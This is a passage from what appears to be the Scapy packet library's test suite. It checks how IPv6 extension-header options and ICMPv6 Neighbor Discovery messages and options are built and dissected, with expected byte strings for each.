b'\xc2\x06\xff\xff\xff\xff' = Jumbo - Dissection with specific values a=Jumbo(b'\xc2\x06\xff\xff\xff\xff') a.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff ############ ############ + Test HAO Class (RFC 3775) = HAO - Basic Instantiation raw(HAO()) == b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = HAO - Basic Dissection a=HAO(b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.otype == 0xC9 and a.optlen == 16 and a.hoa == "::" = HAO - Instantiation with specific values raw(HAO(optlen=9, hoa="2001::ffff")) == b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' = HAO - Dissection with specific values a=HAO(b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff') a.otype == 0xC9 and a.optlen == 9 and a.hoa == "2001::ffff" = HAO - hashret p = IPv6()/IPv6ExtHdrDestOpt(options=HAO(hoa="2001:db8::1"))/ICMPv6EchoRequest() p.hashret() == b' \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00' ############ ############ + Test IPv6ExtHdrHopByHop() = IPv6ExtHdrHopByHop - Basic Instantiation raw(IPv6ExtHdrHopByHop()) == b';\x00\x01\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO option raw(IPv6ExtHdrHopByHop(options=[HAO()])) == b';\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert option raw(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == b';\x00\x05\x02\x00\x00\x01\x00' = IPv6ExtHdrHopByHop - Instantiation with RPL option raw(IPv6ExtHdrHopByHop(options=[RplOption()])) == b';\x00c\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo option raw(IPv6ExtHdrHopByHop(options=[Jumbo()])) == b';\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Complete dissection with Jumbo option s = b'`\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x00\xc2\x04\x00\x00\x00\x10\x80\x00\x7f\xbb\x00\x00\x00\x00' p = IPv6(s) assert IPv6ExtHdrHopByHop in p and Jumbo in p and ICMPv6EchoRequest in p s = b'`\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x01\x01\x06\x00\x00\x00\x00\x00\x00\xc2\x04\x00\x00\x00\x18\x80\x00\x7f\xbb\x00\x00\x00\x00' p = IPv6(s) assert IPv6ExtHdrHopByHop in p and PadN in p and Jumbo in p and ICMPv6EchoRequest in p = IPv6ExtHdrHopByHop - Instantiation with Pad1 option raw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with PadN option raw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO raw(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == b';\x03\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert raw(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == b';\x04\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x02\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo raw(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == b';\x03\x05\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Hashret (IPv6(src="::1", dst="::1")/IPv6ExtHdrHopByHop()).hashret() == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;' = IPv6ExtHdrHopByHop - Basic Dissection a=IPv6ExtHdrHopByHop(b';\x00\x01\x04\x00\x00\x00\x00') a.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == b'\x00'*4 #= IPv6ExtHdrHopByHop - Automatic length computation #raw(IPv6ExtHdrHopByHop(options=["toto"])) == b'\x00\x00toto' #= IPv6ExtHdrHopByHop - Automatic length computation #raw(IPv6ExtHdrHopByHop(options=["toto"])) == b'\x00\x00tototo' ############ ############ + Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0 = ICMPv6ND_RS - Basic instantiation raw(ICMPv6ND_RS()) == b'\x85\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer raw(IPv6(src="2001:db8::1")/ICMPv6ND_RS()) == b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00' = ICMPv6ND_RS - Basic dissection a=ICMPv6ND_RS(b'\x85\x00\x00\x00\x00\x00\x00\x00') a.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer a=IPv6(b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00') assert isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0 assert a.hashret() == b":" ############ ############ + Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0 = ICMPv6ND_RA - Basic Instantiation raw(ICMPv6ND_RA()) == b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer raw(IPv6(src="2001:db8::1")/ICMPv6ND_RA()) == b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic dissection a=ICMPv6ND_RA(b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Answers assert ICMPv6ND_RA().answers(ICMPv6ND_RS()) a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') b = IPv6(b"`\x00\x00\x00\x00\x10:\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x85\x00M\xff\x00\x00\x00\x00") assert a.answers(b) = ICMPv6ND_RA - Summary Output ICMPv6ND_RA(chlim=42, M=0, O=1, H=0, prf=1, P=0, routerlifetime=300).mysummary() == "ICMPv6 Neighbor Discovery - Router Advertisement Lifetime 300 Hop Limit 42 Preference High Managed 0 Other 1 Home 0" ############ ############ + ICMPv6ND_NS Class Test = ICMPv6ND_NS - Basic Instantiation raw(ICMPv6ND_NS()) == b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NS - Instantiation with specific values raw(ICMPv6ND_NS(code=0x11, res=3758096385, tgt="ffff::1111")) == b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NS - Basic Dissection a=ICMPv6ND_NS(b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NS - Dissection with specific values a=ICMPv6ND_NS(b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') assert a.code==0x11 and a.res==3758096385 and a.tgt=="ffff::1111" assert a.hashret() == b"ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(raw(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ############ ############ + ICMPv6ND_NA Class Test = ICMPv6ND_NA - Basic Instantiation raw(ICMPv6ND_NA()) == b'\x88\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NA - Instantiation with specific values raw(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt="ffff::1111")) == b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NA - Basic Dissection a=ICMPv6ND_NA(b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NA - Dissection with specific values a=ICMPv6ND_NA(b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt=="ffff::1111" assert a.hashret() == b'ffff::1111' = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(raw(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ############ ############ + ICMPv6ND_ND/ICMPv6ND_ND matching test = ICMPv6ND_ND/ICMPv6ND_ND matching - test 1 # Sent NS a=IPv6(b'`\x00\x00\x00\x00\x18:\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x00UC\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1') # Received NA b=IPv6(b'n\x00\x00\x00\x00 :\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\x88\x00\xf3F\xe0\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\x02\x01\x00\x0f4\x8a\x8a\xa1') b.answers(a) ############ ############ + ICMPv6NDOptUnknown Class Test = ICMPv6NDOptUnknown - Basic Instantiation b = b'\x00\x01\x00\x00\x00\x00\x00\x00' raw(ICMPv6NDOptUnknown()) == b = ICMPv6NDOptUnknown - Instantiation with specific values raw(ICMPv6NDOptUnknown(data="somestring")) == b'\x00\x02somestring\x00\x00\x00\x00' = ICMPv6NDOptUnknown - Basic Dissection b = b'\x00\x01\x00\x00\x00\x00\x00\x00' p = ICMPv6NDOptUnknown(b) p.type == 0 and p.len == 1 and p.data == b'\x00' * 6 p = ICMPv6NDOptUnknown(b + b'\x00') assert Raw in p and raw(p[Raw]) == b'\x00' p = ICMPv6NDOptUnknown(b + b'\x00\x00') assert raw(p[ICMPv6NDOptUnknown:2]) == b'\x00\x00' = ICMPv6NDOptUnknown - Dissection with specific values p = ICMPv6NDOptUnknown(b'\x00\x01string') assert p.type == 0 and p.len == 1 and p.data == b'string' p = ICMPv6NDOptUnknown(b'\x00\x04somestring') assert p.type == 0 and p.len == 4 and p.data == b'somestring' = ICMPv6NDOptUnknown - Instantiation/Dissection with unknown option in the middle b = b'\x01\x01\x00\x00\x00\x00\x00\x00\x00\x02somestring\x00\x00\x00\x00%\x01\x00\x00\x00\x00\x00\x00' p = ICMPv6NDOptSrcLLAddr()/ICMPv6NDOptUnknown(data='somestring')/ICMPv6NDOptCaptivePortal() assert raw(p) == b p = ICMPv6NDOptSrcLLAddr(b)[ICMPv6NDOptUnknown] assert p.type == 0 and p.len == 2 and p.data == b'somestring\x00\x00\x00\x00' = ICMPv6NDOptUnknown - fuzz assert isinstance(fuzz(ICMPv6NDOptUnknown()).type, RandByte) ############ ############ + ICMPv6NDOptSrcLLAddr Class Test = ICMPv6NDOptSrcLLAddr - Basic Instantiation raw(ICMPv6NDOptSrcLLAddr()) == b'\x01\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcLLAddr - Instantiation with specific values raw(ICMPv6NDOptSrcLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x01\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptSrcLLAddr - Basic Dissection a=ICMPv6NDOptSrcLLAddr(b'\x01\x01\x00\x00\x00\x00\x00\x00') a.type == 1 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptSrcLLAddr - Instantiation with specific values a=ICMPv6NDOptSrcLLAddr(b'\x01\x02\x11\x11\x11\x11\x11\x11') a.type == 1 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ############ ############ + ICMPv6NDOptDstLLAddr Class Test = ICMPv6NDOptDstLLAddr - Basic Instantiation raw(ICMPv6NDOptDstLLAddr()) == b'\x02\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDstLLAddr - Instantiation with specific values raw(ICMPv6NDOptDstLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x02\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptDstLLAddr - Basic Dissection a=ICMPv6NDOptDstLLAddr(b'\x02\x01\x00\x00\x00\x00\x00\x00') a.type == 2 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptDstLLAddr - Instantiation with specific values a=ICMPv6NDOptDstLLAddr(b'\x02\x02\x11\x11\x11\x11\x11\x11') a.type == 2 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ############ ############ + ICMPv6NDOptPrefixInfo Class Test = ICMPv6NDOptPrefixInfo - Basic Instantiation raw(ICMPv6NDOptPrefixInfo()) == b'\x03\x04@\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptPrefixInfo - Instantiation with specific values raw(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix="2001:db8::1")) == b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptPrefixInfo - Basic Dissection a=ICMPv6NDOptPrefixInfo(b'\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == "::" = ICMPv6NDOptPrefixInfo - Instantiation with specific values a=ICMPv6NDOptPrefixInfo(b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == "2001:db8::1" ############ ############ + ICMPv6NDOptRedirectedHdr Class Test = ICMPv6NDOptRedirectedHdr - Basic Instantiation ~ ICMPv6NDOptRedirectedHdr raw(ICMPv6NDOptRedirectedHdr()) == b'\x04\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Instantiation with specific values ~ ICMPv6NDOptRedirectedHdr raw(ICMPv6NDOptRedirectedHdr(len=0xff, res="abcdef", pkt="somestringthatisnotanipv6packet")) == b'\x04\xffabcdefsomestringthatisnotanipv' = ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer) ~ ICMPv6NDOptRedirectedHdr raw(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRedirectedHdr - Basic Dissection ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\x00\x00\x00') assert a.type == 4 assert a.len == 0 assert a.res == b"\x00\x00" assert a.pkt == b"" = ICMPv6NDOptRedirectedHdr - Disssection with specific values ~ ICMPv6NDOptRedirectedHdr with no_debug_dissector(): a=ICMPv6NDOptRedirectedHdr(b'\x04\xff\x11\x11\x00\x00\x00\x00somerawingthatisnotanipv6pac') a.type == 4 and a.len == 255 and a.res == b'\x11\x11\x00\x00\x00\x00' and isinstance(a.pkt, Raw) and a.pkt.load == b"somerawingthatisnotanipv6pac" = ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header ~ ICMPv6NDOptRedirectedHdr with no_debug_dissector(): a=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 4 and a.len == 6 and a.res == b"\x00\x00\x00\x00\x00\x00" and isinstance(a.pkt, Raw) and a.pkt.load == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Complete dissection ~ ICMPv6NDOptRedirectedHdr x=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') y=x.copy() del y.len x == ICMPv6NDOptRedirectedHdr(raw(y)) # Add more tests ############ ############ + ICMPv6NDOptMTU Class Test = ICMPv6NDOptMTU - Basic Instantiation raw(ICMPv6NDOptMTU()) == b'\x05\x01\x00\x00\x00\x00\x05\x00' = ICMPv6NDOptMTU - Instantiation with specific values raw(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == b'\x05\x02\x11\x11\x00\x00\x05\xdc' = ICMPv6NDOptMTU - Basic dissection a=ICMPv6NDOptMTU(b'\x05\x01\x00\x00\x00\x00\x05\x00') a.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280 = ICMPv6NDOptMTU - Dissection with specific values a=ICMPv6NDOptMTU(b'\x05\x02\x11\x11\x00\x00\x05\xdc') a.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500 = ICMPv6NDOptMTU - Summary Output ICMPv6NDOptMTU(b'\x05\x02\x11\x11\x00\x00\x05\xdc').mysummary() == "ICMPv6 Neighbor Discovery Option - MTU 1500" ############ ############ + ICMPv6NDOptShortcutLimit Class Test (RFC2491) = ICMPv6NDOptShortcutLimit - Basic Instantiation raw(ICMPv6NDOptShortcutLimit()) == b'\x06\x01(\x00\x00\x00\x00\x00' = ICMPv6NDOptShortcutLimit - Instantiation with specific values raw(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa' = ICMPv6NDOptShortcutLimit - Basic Dissection a=ICMPv6NDOptShortcutLimit(b'\x06\x01(\x00\x00\x00\x00\x00') a.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0 = ICMPv6NDOptShortcutLimit - Dissection with specific values a=ICMPv6NDOptShortcutLimit(b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa') a.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa ############ ############ + ICMPv6NDOptAdvInterval Class Test = ICMPv6NDOptAdvInterval - Basic Instantiation raw(ICMPv6NDOptAdvInterval()) == b'\x07\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptAdvInterval - Instantiation with specific values raw(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == b'\x07\x02\x11\x11\xff\xff\xff\xff' = ICMPv6NDOptAdvInterval - Basic dissection a=ICMPv6NDOptAdvInterval(b'\x07\x01\x00\x00\x00\x00\x00\x00') a.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0 = ICMPv6NDOptAdvInterval - Dissection with specific values a=ICMPv6NDOptAdvInterval(b'\x07\x02\x11\x11\xff\xff\xff\xff') a.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff ############ ############ + ICMPv6NDOptHAInfo Class Test = ICMPv6NDOptHAInfo - Basic Instantiation raw(ICMPv6NDOptHAInfo()) == b'\x08\x01\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptHAInfo - Instantiation with specific values raw(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == b'\x08\x02\x11\x11""33' = ICMPv6NDOptHAInfo - Basic dissection a=ICMPv6NDOptHAInfo(b'\x08\x01\x00\x00\x00\x00\x00\x01') a.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1 = ICMPv6NDOptHAInfo - Dissection with specific values a=ICMPv6NDOptHAInfo(b'\x08\x02\x11\x11""33') a.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333 ############ ############ + ICMPv6NDOptSrcAddrList Class Test = ICMPv6NDOptSrcAddrList - Basic Instantiation raw(ICMPv6NDOptSrcAddrList()) == b'\t\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len) raw(ICMPv6NDOptSrcAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Instantiation with specific values raw(ICMPv6NDOptSrcAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Basic Dissection a=ICMPv6NDOptSrcAddrList(b'\t\x01\x00\x00\x00\x00\x00\x00') a.type == 9 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptSrcAddrList(b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptSrcAddrList - Dissection with specific values with no_debug_dissector(): a=ICMPv6NDOptSrcAddrList(b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ############ ############ + ICMPv6NDOptTgtAddrList Class Test = ICMPv6NDOptTgtAddrList - Basic Instantiation raw(ICMPv6NDOptTgtAddrList()) == b'\n\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len) raw(ICMPv6NDOptTgtAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Instantiation with specific values raw(ICMPv6NDOptTgtAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Basic Dissection a=ICMPv6NDOptTgtAddrList(b'\n\x01\x00\x00\x00\x00\x00\x00') a.type == 10 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptTgtAddrList(b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptTgtAddrList - Instantiation with specific values with no_debug_dissector(): a=ICMPv6NDOptTgtAddrList(b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ############ ############ + ICMPv6NDOptIPAddr Class Test (RFC 4068) = ICMPv6NDOptIPAddr - Basic Instantiation raw(ICMPv6NDOptIPAddr()) == 